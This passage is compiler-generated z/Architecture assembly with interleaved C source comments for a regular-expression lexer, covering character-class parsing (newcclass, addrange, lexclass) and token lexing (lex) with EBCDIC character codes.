LA 1,168(0,13) LG 15,@lit_776_59 ; die @@gen_label89 DS 0H BALR 14,15 @@gen_label90 DS 0H @L84 DS 0H * *** } @L79 DS 0H * *** } else { B @L85 @L77 DS 0H * *** g->yymax = g->yymin; L 15,184(0,2) ; offset of yymin in Restate ST 15,188(0,2) ; offset of yymax in Restate * *** } @L85 DS 0H * *** * *** return L_COUNT; LGHI 15,265 ; 265 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "lexcount" * (FUNCTION #776) * @AUTO#lexcount DSECT DS XL168 * @CODE CSECT * * * * ....... start of newcclass @LNAME777 DS 0H DC X'00000009' DC C'newcclass' DC X'00' newcclass DCCPRLG CINDEX=777,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNA* MEADDR=@LNAME777 * ******* End of Prologue * * * *** if (g->ncclass >= (sizeof (g->prog->cclass) / sizeof (g->pr\ * og->cclass)[0])) LG 2,0(0,1) ; g LLGF 15,32(0,2) CLGFI 15,X'00000010' BL @L86 * *** die(g, "too many character classes"); STG 2,168(0,13) LG 15,@lit_777_66 LA 15,186(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_777_67 ; die @@gen_label92 DS 0H BALR 14,15 @@gen_label93 DS 0H @L86 DS 0H * *** g->yycc = g->prog->cclass + g->ncclass++; LG 15,0(0,2) ; g L 1,32(0,2) LR 3,1 AHI 3,1 ST 3,32(0,2) LLGFR 1,1 SLLG 3,1,5(0) ; . ALGR 3,1 ; . SLLG 3,3,3(0) ; . LA 15,24(3,15) STG 15,176(0,2) * *** g->yycc->end = g->yycc->spans; LGR 1,15 ; offset of yycc in Restate LA 1,8(0,1) STG 1,0(0,15) * *** } @ret_lab_777 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_777 DC F'184' @lit_777_67 DC AD(die) @lit_777_66 DC AD(@strings@) DROP 12 * * DSECT for automatic variables in "newcclass" * (FUNCTION #777) * @AUTO#newcclass DSECT DS XL168 * @CODE CSECT * * * * ....... start of addrange @LNAME778 DS 0H DC X'00000008' DC C'addrange' DC X'00' addrange DCCPRLG CINDEX=778,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME778 LGR 3,1 ; ptr to parm area * ******* End of Prologue * * * *** if (a > b) LG 2,0(0,3) ; g L 4,12(0,3) ; a CL 4,20(0,3) BNH @L87 * *** die(g, "invalid character class range"); STG 2,168(0,13) LG 15,@lit_778_69 LA 15,214(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_778_70 ; die @@gen_label95 DS 0H BALR 14,15 @@gen_label96 DS 0H @L87 DS 0H * *** if (g->yycc->end + 2 == g->yycc->spans + (sizeof (g->yycc->\ * spans) / sizeof (g->yycc->spans)[0])) LG 15,176(0,2) ; offset of yycc in Restate LG 15,0(0,15) LA 15,8(0,15) LG 1,176(0,2) ; offset of yycc in Restate LA 1,264(0,1) CGR 15,1 BNE @L88 * *** die(g, "too many character class ranges"); STG 2,168(0,13) LG 15,@lit_778_69 LA 15,244(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_778_70 ; die @@gen_label98 DS 0H BALR 14,15 @@gen_label99 DS 0H @L88 DS 0H * *** *g->yycc->end++ = a; LG 15,176(0,2) ; offset of yycc in Restate LG 1,0(0,15) LA 5,4(0,1) STG 5,0(0,15) ST 4,0(0,1) * *** *g->yycc->end++ = b; LG 15,176(0,2) ; offset of yycc in Restate LG 1,0(0,15) LA 2,4(0,1) STG 2,0(0,15) L 15,20(0,3) ; b ST 15,0(0,1) * *** } @ret_lab_778 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_778 DC F'184' @lit_778_70 DC AD(die) @lit_778_69 DC AD(@strings@) DROP 12 * * DSECT for automatic variables in "addrange" * (FUNCTION #778) * @AUTO#addrange DSECT DS XL168 * @CODE CSECT * * * * ....... start of addranges_d @LNAME779 DS 0H DC X'0000000B' DC C'addranges_d' DC X'00' addranges_d DCCPRLG CINDEX=779,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,L* NAMEADDR=@LNAME779 * ******* End of Prologue * * * *** addrange(g, '0', '9'); LG 15,0(0,1) ; g STG 15,168(0,13) MVGHI 176(13),240 MVGHI 184(13),249 LA 1,168(0,13) LG 15,@lit_779_74 ; addrange @@gen_label100 DS 0H BALR 14,15 @@gen_label101 DS 0H * *** } @ret_lab_779 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_779 DC F'192' @lit_779_74 DC AD(addrange) DROP 12 * * DSECT for automatic variables in "addranges_d" * (FUNCTION #779) * @AUTO#addranges_d DSECT DS XL168 * @CODE CSECT * * * * ....... start of addranges_D @LNAME780 DS 0H DC X'0000000B' DC C'addranges_D' DC X'00' addranges_$D DCCPRLG CINDEX=780,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,* LNAMEADDR=@LNAME780 LGR 2,1 ; ptr to parm area * ******* End of Prologue * * * *** addrange(g, 0, '0'-1); LG 15,0(0,2) ; g STG 15,168(0,13) XC 176(8,13),176(13) MVGHI 184(13),239 LA 1,168(0,13) LG 3,@lit_780_76 ; addrange LGR 15,3 @@gen_label102 DS 0H BALR 14,15 @@gen_label103 DS 0H * *** addrange(g, '9'+1, 0xFFFF); LG 15,0(0,2) ; g STG 15,168(0,13) MVGHI 176(13),250 LLILF 15,X'0000FFFF' ; 65535 STG 15,184(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label104 DS 0H BALR 14,15 @@gen_label105 DS 0H * *** } @ret_lab_780 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_780 DC F'192' @lit_780_76 DC AD(addrange) DROP 12 * * DSECT for automatic variables in "addranges_D" * (FUNCTION #780) * @AUTO#addranges_$D DSECT DS XL168 * @CODE CSECT * * * * ....... start of addranges_s @LNAME781 DS 0H DC X'0000000B' DC C'addranges_s' DC X'00' addranges_s DCCPRLG CINDEX=781,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,L* NAMEADDR=@LNAME781 * ******* End of Prologue * * * *** addrange(g, 0x9, 0x9); LG 2,0(0,1) ; g STG 2,168(0,13) MVGHI 176(13),9 MVGHI 184(13),9 LA 1,168(0,13) LG 3,@lit_781_80 ; addrange LGR 15,3 @@gen_label106 DS 0H BALR 14,15 @@gen_label107 DS 0H * *** addrange(g, 0xA, 0xD); STG 2,168(0,13) MVGHI 176(13),10 MVGHI 184(13),13 LA 1,168(0,13) LGR 15,3 @@gen_label108 DS 0H BALR 14,15 @@gen_label109 DS 0H * *** addrange(g, 0x20, 0x20); STG 2,168(0,13) MVGHI 176(13),32 MVGHI 184(13),32 LA 1,168(0,13) LGR 15,3 @@gen_label110 DS 0H BALR 14,15 @@gen_label111 DS 0H * *** addrange(g, 0xA0, 0xA0); STG 2,168(0,13) MVGHI 176(13),160 MVGHI 184(13),160 LA 1,168(0,13) LGR 15,3 @@gen_label112 DS 0H BALR 14,15 @@gen_label113 DS 0H * *** addrange(g, 0x2028, 0x2029); STG 2,168(0,13) MVGHI 176(13),8232 MVGHI 184(13),8233 LA 1,168(0,13) LGR 15,3 @@gen_label114 DS 0H BALR 14,15 @@gen_label115 DS 0H * *** addrange(g, 0xFEFF, 0xFEFF); STG 2,168(0,13) LLILF 15,X'0000FEFF' ; 65279 STG 15,176(0,13) STG 15,184(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label116 DS 0H BALR 14,15 @@gen_label117 DS 0H * *** } @ret_lab_781 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_781 DC F'192' @lit_781_80 DC AD(addrange) DROP 12 * * DSECT for automatic variables in "addranges_s" * (FUNCTION #781) * @AUTO#addranges_s DSECT DS XL168 * @CODE CSECT * * * * ....... start of addranges_S @LNAME782 DS 0H DC X'0000000B' DC C'addranges_S' DC X'00' addranges_$S DCCPRLG CINDEX=782,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,* LNAMEADDR=@LNAME782 * ******* End of Prologue * * * *** addrange(g, 0, 0x9-1); LG 2,0(0,1) ; g STG 2,168(0,13) XC 176(8,13),176(13) MVGHI 184(13),8 LA 1,168(0,13) LG 3,@lit_782_89 ; addrange LGR 15,3 @@gen_label118 DS 0H BALR 14,15 @@gen_label119 DS 0H * *** addrange(g, 0x9+1, 0xA-1); STG 2,168(0,13) MVGHI 176(13),10 MVGHI 184(13),9 LA 1,168(0,13) LGR 15,3 @@gen_label120 DS 0H BALR 14,15 @@gen_label121 DS 0H * *** addrange(g, 0xD+1, 0x20-1); STG 2,168(0,13) MVGHI 176(13),14 MVGHI 184(13),31 LA 1,168(0,13) LGR 15,3 @@gen_label122 DS 0H BALR 14,15 @@gen_label123 DS 0H * *** addrange(g, 0x20+1, 0xA0-1); STG 2,168(0,13) MVGHI 176(13),33 MVGHI 184(13),159 LA 1,168(0,13) LGR 15,3 @@gen_label124 DS 0H BALR 14,15 @@gen_label125 DS 0H * *** addrange(g, 0xA0+1, 0x2028-1); STG 2,168(0,13) MVGHI 176(13),161 MVGHI 184(13),8231 LA 1,168(0,13) LGR 15,3 @@gen_label126 DS 0H BALR 14,15 @@gen_label127 DS 0H * *** addrange(g, 0x2029+1, 0xFEFF-1); STG 2,168(0,13) MVGHI 176(13),8234 LLILF 15,X'0000FEFE' ; 65278 STG 15,184(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label128 DS 0H BALR 14,15 @@gen_label129 DS 0H * *** addrange(g, 0xFEFF+1, 0xFFFF); STG 2,168(0,13) LLILF 15,X'0000FF00' ; 65280 STG 15,176(0,13) LLILF 15,X'0000FFFF' ; 65535 STG 15,184(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label130 DS 0H BALR 14,15 @@gen_label131 DS 0H * *** } @ret_lab_782 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_782 DC F'192' @lit_782_89 DC AD(addrange) DROP 12 * * DSECT for automatic variables in "addranges_S" * (FUNCTION #782) * @AUTO#addranges_$S DSECT DS XL168 * @CODE CSECT * * * * ....... start of addranges_w @LNAME783 DS 0H DC X'0000000B' DC C'addranges_w' DC X'00' addranges_w DCCPRLG CINDEX=783,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,L* NAMEADDR=@LNAME783 * ******* End of Prologue * * * *** addrange(g, '0', '9'); LG 2,0(0,1) ; g STG 2,168(0,13) MVGHI 176(13),240 MVGHI 184(13),249 LA 1,168(0,13) LG 3,@lit_783_100 ; addrange LGR 15,3 @@gen_label132 DS 0H BALR 14,15 @@gen_label133 DS 0H * *** addrange(g, 'A', 'Z'); STG 2,168(0,13) MVGHI 176(13),193 MVGHI 184(13),233 LA 1,168(0,13) LGR 15,3 @@gen_label134 DS 0H BALR 14,15 @@gen_label135 DS 0H * *** addrange(g, '_', '_'); STG 2,168(0,13) MVGHI 176(13),109 MVGHI 184(13),109 LA 1,168(0,13) LGR 15,3 @@gen_label136 DS 0H BALR 14,15 @@gen_label137 DS 0H * *** addrange(g, 'a', 'z'); STG 2,168(0,13) MVGHI 176(13),129 MVGHI 184(13),169 LA 1,168(0,13) LGR 15,3 @@gen_label138 DS 0H BALR 14,15 @@gen_label139 DS 0H * *** } @ret_lab_783 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_783 DC F'192' @lit_783_100 DC AD(addrange) DROP 12 * * DSECT for automatic variables in "addranges_w" * (FUNCTION #783) * @AUTO#addranges_w DSECT DS XL168 * @CODE CSECT * * * * ....... start of addranges_W @LNAME784 DS 0H DC X'0000000B' DC C'addranges_W' DC X'00' addranges_$W DCCPRLG CINDEX=784,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,* LNAMEADDR=@LNAME784 * ******* End of Prologue * * * *** addrange(g, 0, '0'-1); LG 2,0(0,1) ; g STG 2,168(0,13) XC 176(8,13),176(13) MVGHI 184(13),239 LA 1,168(0,13) LG 3,@lit_784_105 ; addrange LGR 15,3 @@gen_label140 DS 0H BALR 14,15 @@gen_label141 DS 0H * *** addrange(g, '9'+1, 'A'-1); STG 2,168(0,13) MVGHI 176(13),250 MVGHI 184(13),192 LA 1,168(0,13) LGR 15,3 @@gen_label142 DS 0H BALR 14,15 @@gen_label143 DS 0H * *** addrange(g, 'Z'+1, '_'-1); STG 2,168(0,13) MVGHI 176(13),234 MVGHI 184(13),108 LA 1,168(0,13) LGR 15,3 @@gen_label144 DS 0H BALR 14,15 @@gen_label145 DS 0H * *** addrange(g, '_'+1, 'a'-1); STG 2,168(0,13) MVGHI 176(13),110 MVGHI 184(13),128 LA 1,168(0,13) LGR 15,3 @@gen_label146 DS 0H BALR 14,15 @@gen_label147 DS 0H * *** addrange(g, 'z'+1, 0xFFFF); STG 2,168(0,13) MVGHI 176(13),170 LLILF 15,X'0000FFFF' ; 65535 STG 15,184(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label148 DS 0H BALR 14,15 @@gen_label149 DS 0H * *** } @ret_lab_784 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_784 DC F'192' @lit_784_105 DC AD(addrange) DROP 12 * * DSECT for automatic variables in "addranges_W" * (FUNCTION #784) * @AUTO#addranges_$W DSECT DS XL168 * @CODE CSECT * * * * ....... start of lexclass @LNAME785 DS 0H DC X'00000008' DC C'lexclass' DC X'00' lexclass DCCPRLG CINDEX=785,BASER=12,FRAME=200,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME785 * ******* End of Prologue * * * *** int type = L_CCLASS; LG 7,0(0,1) ; g LHI 6,257 ; 257 * *** int quoted, havesave, havedash; * *** Rune save = 0; LHI 2,0 ; 0 * *** * *** newcclass(g); STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_114 ; newcclass @@gen_label150 DS 0H BALR 14,15 @@gen_label151 DS 0H * *** * *** quoted = nextrune(g); STG 7,176(0,13) LA 1,176(0,13) LG 3,@lit_785_115 ; nextrune LGR 15,3 @@gen_label152 DS 0H BALR 14,15 @@gen_label153 DS 0H LTR 5,15 ; quoted * *** if (!quoted && g->yychar == '^') { BNZ @L89 CLFHSI 172(7),95 BNE @L89 * *** type = L_NCCLASS; LHI 6,258 ; 258 * *** quoted = nextrune(g); STG 7,176(0,13) LA 1,176(0,13) LGR 15,3 @@gen_label156 DS 0H BALR 14,15 @@gen_label157 DS 0H LR 5,15 ; quoted * *** } @L89 DS 0H * *** * *** havesave = havedash = 0; LR 4,2 ; havedash LR 3,2 ; havesave * *** for (;;) { @L90 DS 0H * *** if (g->yychar == 0) CLFHSI 172(7),0 BNE @L93 * *** die(g, "unterminated character class"); STG 7,176(0,13) LG 15,@lit_785_120 LA 15,276(0,15) STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_785_121 ; die @@gen_label159 DS 0H BALR 14,15 @@gen_label160 DS 0H @L93 DS 0H * *** if (!quoted && g->yychar == ']') LTR 5,5 BNZ @L94 CLFHSI 172(7),189 BE @L91 * *** break; @L94 DS 0H * *** * *** if (!quoted && g->yychar == '-') { LTR 5,5 BNZ @L95 CLFHSI 172(7),96 BNE @L95 * *** if (havesave) { LTR 3,3 BZ @L96 * *** if (havedash) { LTR 4,4 BZ @L97 * *** addrange(g, save, '-'); STG 7,176(0,13) LLGFR 15,2 STG 15,184(0,13) MVGHI 192(13),96 LA 1,176(0,13) LG 15,@lit_785_122 ; addrange @@gen_label167 DS 0H BALR 14,15 @@gen_label168 DS 0H * *** havesave = havedash = 0; LHI 4,0 ; 0 LR 3,4 ; havesave * *** } else { B @L100 DS 0D @FRAMESIZE_785 DC F'200' @lit_785_114 DC AD(newcclass) @lit_785_115 DC AD(nextrune) @lit_785_121 DC AD(die) @lit_785_120 DC AD(@strings@) @lit_785_122 DC AD(addrange) @lit_785_131 DC AD(addranges_d) @lit_785_132 DC AD(addranges_s) @lit_785_133 DC AD(addranges_w) @lit_785_134 DC AD(addranges_$D) @lit_785_135 DC AD(addranges_$S) @lit_785_136 DC AD(addranges_$W) @L97 DS 0H * *** havedash = 1; LHI 4,1 ; 1 * *** } @L98 DS 0H * *** } else { B @L100 @L96 DS 0H * *** save = '-'; LHI 2,96 ; 96 * *** havesave = 1; LHI 3,1 ; 1 * *** } @L99 DS 0H * *** } else if (quoted && __strchr("DSWdsw",g->yychar)) { B @L100 @L95 DS 0H LTR 5,5 BZ @L101 LG 15,@lit_785_120 LA 15,306(0,15) LGF 1,172(0,7) LGHI 8,0 @@gen_label170 DS 0H IC 8,0(0,15) CLGR 8,1 BE @@gen_label171 CLI 0(15),0 BE @@gen_label172 LA 15,1(0,15) B @@gen_label170 @@gen_label172 DS 0H LGHI 15,0 @@gen_label171 DS 0H LTGR 15,15 BZ @L101 * *** if (havesave) { LTR 3,3 BZ @L104 * *** addrange(g, save, save); STG 7,176(0,13) LLGFR 15,2 STG 15,184(0,13) LLGFR 15,2 STG 15,192(0,13) LA 1,176(0,13) LG 3,@lit_785_122 ; addrange LGR 15,3 @@gen_label175 DS 0H BALR 14,15 @@gen_label176 DS 0H * *** if (havedash) LTR 4,4 BZ @L104 * *** addrange(g, '-', '-'); STG 7,176(0,13) MVGHI 184(13),96 MVGHI 192(13),96 LA 1,176(0,13) LGR 15,3 @@gen_label178 DS 0H BALR 14,15 @@gen_label179 DS 0H @L103 DS 0H * *** } @L102 DS 0H * *** switch (g->yychar) { B @L104 * *** case 'd': addranges_d(g); break; @L106 DS 0H STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_131 ; addranges_d @@gen_label180 DS 0H BALR 14,15 @@gen_label181 DS 0H B @L105 * *** case 's': addranges_s(g); break; @L107 DS 0H STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_132 ; addranges_s @@gen_label182 DS 0H BALR 14,15 @@gen_label183 DS 0H B @L105 * *** case 'w': addranges_w(g); break; @L108 DS 0H STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_133 ; addranges_w @@gen_label184 DS 0H BALR 14,15 @@gen_label185 DS 0H B @L105 * *** case 'D': addranges_D(g); break; @L109 DS 0H STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_134 ; addranges_D @@gen_label186 DS 0H BALR 14,15 @@gen_label187 DS 0H B @L105 * *** case 'S': addranges_S(g); break; @L110 DS 0H STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_135 ; addranges_S @@gen_label188 DS 0H BALR 14,15 @@gen_label189 DS 0H B @L105 * *** case 'W': addranges_W(g); break; @L111 DS 0H STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_136 ; addranges_W @@gen_label190 DS 0H BALR 14,15 @@gen_label191 DS 0H B @L105 * *** } @L104 DS 0H L 15,172(0,7) ; offset of yychar in Restate CLFI 15,X'000000A2' BNL @@gen_label192 CLFI 15,X'00000084' BE @L106 B @L105 @@gen_label192 DS 0H CLFI 15,X'000000A6' BNL @@gen_label193 CLFI 15,X'000000A2' BE @L107 B @L105 @@gen_label193 DS 0H CLFI 15,X'000000C4' BNL @@gen_label194 CLFI 15,X'000000A6' BE @L108 B @L105 @@gen_label194 DS 0H CLFI 15,X'000000C4' BE @L109 CLFI 15,X'000000E2' BE @L110 CLFI 15,X'000000E6' BE @L111 @L105 DS 0H * *** havesave = havedash = 0; LHI 4,0 ; 0 LR 3,4 ; havesave * *** } else { B @L100 @L101 DS 0H * *** if (quoted) { LTR 5,5 BZ @L113 * *** if (g->yychar == 'b') CLFHSI 172(7),130 BNE @L114 * *** g->yychar = '\b'; MVHI 172(7),22 ; offset of yychar in Restate B @L113 * *** else if (g->yychar == '0') @L114 DS 0H CLFHSI 172(7),240 BNE @L113 * *** g->yychar = 0; MVHI 172(7),0 ; offset of yychar in Restate @L116 DS 0H * *** * *** } @L115 DS 0H @L113 DS 0H * *** if (havesave) { LTR 3,3 BZ @L117 * *** if (havedash) { LTR 4,4 BZ @L118 * *** addrange(g, save, g->yychar); STG 7,176(0,13) LLGFR 15,2 STG 15,184(0,13) LLGF 15,172(0,7) STG 15,192(0,13) LA 1,176(0,13) LG 15,@lit_785_122 ; addrange @@gen_label200 DS 0H BALR 14,15 @@gen_label201 DS 0H * *** havesave = havedash = 0; LHI 4,0 ; 0 LR 3,4 ; havesave * *** } else { B @L100 @L118 DS 0H * *** addrange(g, save, save); STG 7,176(0,13) LLGFR 15,2 STG 15,184(0,13) LLGFR 15,2 STG 15,192(0,13) LA 1,176(0,13) LG 15,@lit_785_122 ; addrange @@gen_label202 DS 0H BALR 14,15 @@gen_label203 DS 0H * *** save = g->yychar; L 2,172(0,7) ; offset of yychar in Restate * *** } @L119 DS 0H * *** } else { B @L100 @L117 DS 0H * *** save = g->yychar; L 2,172(0,7) ; offset of yychar in Restate * *** havesave = 1; LHI 3,1 ; 1 * *** } @L120 DS 0H * *** } @L112 DS 0H * *** * *** quoted = nextrune(g); @L100 DS 0H STG 7,176(0,13) LA 1,176(0,13) LG 15,@lit_785_115 ; nextrune @@gen_label204 DS 0H BALR 14,15 @@gen_label205 DS 0H LR 5,15 ; quoted * *** } B @L90 @L91 DS 0H * *** * *** if (havesave) { LTR 3,3 BZ @L121 * *** addrange(g, save, save); STG 7,176(0,13) LLGFR 15,2 STG 15,184(0,13) LLGFR 15,2 STG 15,192(0,13) LA 1,176(0,13) LG 2,@lit_785_122 ; addrange LGR 15,2 @@gen_label207 DS 0H BALR 14,15 @@gen_label208 DS 0H * *** if (havedash) LTR 4,4 BZ @L121 * *** addrange(g, '-', '-'); STG 7,176(0,13) MVGHI 184(13),96 MVGHI 192(13),96 LA 1,176(0,13) LGR 15,2 @@gen_label210 DS 0H BALR 14,15 @@gen_label211 DS 0H @L122 DS 0H * *** } @L121 DS 0H * *** * *** return type; LGFR 15,6 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "lexclass" * (FUNCTION #785) * @AUTO#lexclass DSECT DS XL168 lexclass#save#0 DS 1F ; save ORG @AUTO#lexclass+168 lexclass#havedash#0 DS 1F ; havedash ORG @AUTO#lexclass+168 lexclass#havesave#0 DS 1F ; havesave ORG @AUTO#lexclass+168 lexclass#quoted#0 DS 1F ; quoted ORG @AUTO#lexclass+168 lexclass#type#0 DS 1F ; type * @CODE CSECT * * * * ....... start of lex @LNAME786 DS 0H DC X'00000003' DC C'lex' DC X'00' lex DCCPRLG CINDEX=786,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME786 * ******* End of Prologue * * * *** int quoted = nextrune(g); LG 2,0(0,1) ; g STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_148 ; nextrune @@gen_label212 DS 0H BALR 14,15 @@gen_label213 DS 0H * *** if (quoted) { LTR 15,15 BZ @L137 * *** switch (g->yychar) { B @L124 DS 0D @FRAMESIZE_786 DC F'184' @lit_786_148 DC AD(nextrune) @lit_786_151 DC AD(newcclass) @lit_786_152 DC AD(addranges_d) @lit_786_155 DC AD(addranges_s) @lit_786_158 DC AD(addranges_w) @lit_786_172 DC FD'1' 0x0000000000000001 @lit_786_173 DC FD'24' 0x0000000000000018 @lit_786_174 DC FD'7' 0x0000000000000007 @lit_786_175 DC FD'16' 0x0000000000000010 @lit_786_176 DC FD'1048576' 0x0000000000100000 @lit_786_177 DC AD(lexcount) @lit_786_178 DC AD(lexclass) * *** case 'b': return L_WORD; @L126 DS 0H LGHI 15,262 ; 262 B @ret_lab_786 * *** case 'B': return L_NWORD; @L127 DS 0H LGHI 15,263 ; 263 B @ret_lab_786 * *** case 'd': newcclass(g); addranges_d(g); return L_CCLASS; @L128 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_151 ; newcclass @@gen_label215 DS 0H BALR 14,15 @@gen_label216 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_152 ; addranges_d @@gen_label217 DS 0H BALR 14,15 @@gen_label218 DS 0H LGHI 15,257 ; 257 B @ret_lab_786 * *** case 's': newcclass(g); addranges_s(g); return L_CCLASS; @L129 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_151 ; newcclass @@gen_label219 DS 0H BALR 14,15 @@gen_label220 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_155 ; addranges_s @@gen_label221 DS 0H BALR 14,15 @@gen_label222 DS 0H LGHI 15,257 ; 257 B @ret_lab_786 * *** case 'w': newcclass(g); addranges_w(g); return L_CCLASS; @L130 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_151 ; newcclass @@gen_label223 DS 0H BALR 14,15 @@gen_label224 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_158 ; addranges_w @@gen_label225 DS 0H BALR 14,15 @@gen_label226 DS 0H LGHI 15,257 ; 257 B @ret_lab_786 * *** case 'D': newcclass(g); addranges_d(g); return L_NCCLASS\ * ; @L131 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_151 ; newcclass @@gen_label227 DS 0H BALR 14,15 @@gen_label228 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_152 ; addranges_d @@gen_label229 DS 0H BALR 14,15 @@gen_label230 DS 0H LGHI 15,258 ; 258 B @ret_lab_786 * *** case 'S': newcclass(g); addranges_s(g); return L_NCCLASS\ * ; @L132 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_151 ; newcclass @@gen_label231 DS 0H BALR 14,15 @@gen_label232 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_155 ; addranges_s @@gen_label233 DS 0H BALR 14,15 @@gen_label234 DS 0H LGHI 15,258 ; 258 B @ret_lab_786 * *** case 'W': newcclass(g); addranges_w(g); return L_NCCLASS\ * ; @L133 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_151 ; newcclass @@gen_label235 DS 0H BALR 14,15 @@gen_label236 DS 0H STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_158 ; addranges_w @@gen_label237 DS 0H BALR 14,15 @@gen_label238 DS 0H LGHI 15,258 ; 258 B @ret_lab_786 * *** case '0': g->yychar = 0; return L_CHAR; @L134 DS 0H MVHI 172(2),0 ; offset of yychar in Restate LGHI 15,256 ; 256 B @ret_lab_786 * *** } @L124 DS 0H L 15,172(0,2) ; offset of yychar in Restate CLFI 15,X'000000A2' BNL @@gen_label239 CLFI 15,X'00000082' BL @L125 CLFI 15,X'00000082' BE @L126 CLFI 15,X'00000084' BE @L128 B @L125 @@gen_label239 DS 0H CLFI 15,X'000000A6' BNL @@gen_label240 CLFI 15,X'000000A2' BE @L129 B @L125 @@gen_label240 DS 0H CLFI 15,X'000000C2' BNL @@gen_label241 CLFI 15,X'000000A6' BE @L130 B @L125 @@gen_label241 DS 0H CLFI 15,X'000000E2' BNL @@gen_label242 CLFI 15,X'000000C2' BE @L127 CLFI 15,X'000000C4' BE @L131 B @L125 @@gen_label242 DS 0H CLFI 15,X'000000E2' BE @L132 CLFI 15,X'000000E6' BE @L133 CLFI 15,X'000000F0' BE @L134 @L125 DS 0H * *** if (g->yychar >= '0' && g->yychar <= '9') { CLFHSI 172(2),240 BL @L135 CLFHSI 172(2),249 BH @L135 * *** g->yychar -= '0'; L 15,172(0,2) AHI 15,-240 ST 15,172(0,2) * *** if (*g->source >= '0' && *g->source <= '9') LG 15,24(0,2) ; offset of source in Restate CLI 0(15),240 BL @L136 LG 15,24(0,2) ; offset of source in Restate CLI 0(15),249 BH @L136 * *** g->yychar = g->yychar * 10 + *g->source++ - '0'; L 15,172(0,2) ; offset of yychar in Restate LR 1,15 ; *0xa SLL 1,2(0) ; . ALR 1,15 ; . SLL 1,1(0) ; . LG 15,24(0,2) LA 3,1(0,15) STG 3,24(0,2) LLC 15,0(0,15) ALR 1,15 AHI 1,-240 ST 1,172(0,2) @L136 DS 0H * *** return L_REF; LGHI 15,264 ; 264 B @ret_lab_786 * *** } @L135 DS 0H * *** return L_CHAR; LGHI 15,256 ; 256 B @ret_lab_786 * *** } * *** * *** switch (g->yychar) { * *** case 0: * *** case '$': case ')': case '*': case '+': * *** case '.': case '?': case '^': case '|': @L147 DS 0H * *** return g->yychar; LGF 15,172(0,2) B @ret_lab_786 * *** } @L137 DS 0H L 15,172(0,2) ; offset of yychar in Restate CLFI 15,X'0000004B' BNL @@gen_label247 CLFI 15,X'00000000' BE @L147 B @L138 @@gen_label247 DS 0H CLFI 15,X'0000005B' BNL @@gen_label248 AHI 15,-75 CLFI 15,X'00000004' BH @L138 LLGFR 15,15 LGHI 1,1 SLLG 1,1,0(15) LGR 15,1 NG 15,@lit_786_172 BNZ @L147 NG 1,@lit_786_173 BNZ @L147 B @L138 @@gen_label248 DS 0H AHI 15,-91 CLFI 15,X'00000014' BH @L138 LLGFR 15,15 LGHI 1,1 SLLG 1,1,0(15) LGR 15,1 NG 15,@lit_786_174 BNZ @L147 LGR 15,1 NG 15,@lit_786_175 BNZ @L147 NG 1,@lit_786_176 BNZ @L147 @L138 DS 0H * *** * *** if (g->yychar == '{') CLFHSI 172(2),192 BNE @L148 * *** return lexcount(g); STG 2,176(0,13) LA 1,176(0,13) LG 15,@lit_786_177 ; lexcount @@gen_label250 DS 0H BALR 14,15 @@gen_label251 DS 0H LGFR 15,15 B @ret_lab_786 @L148 DS 0H * *** if (g->yychar == '[') CLFHSI 172(2),173 BNE @L149 * *** return lexclass(g); STG 2,176(0,13) 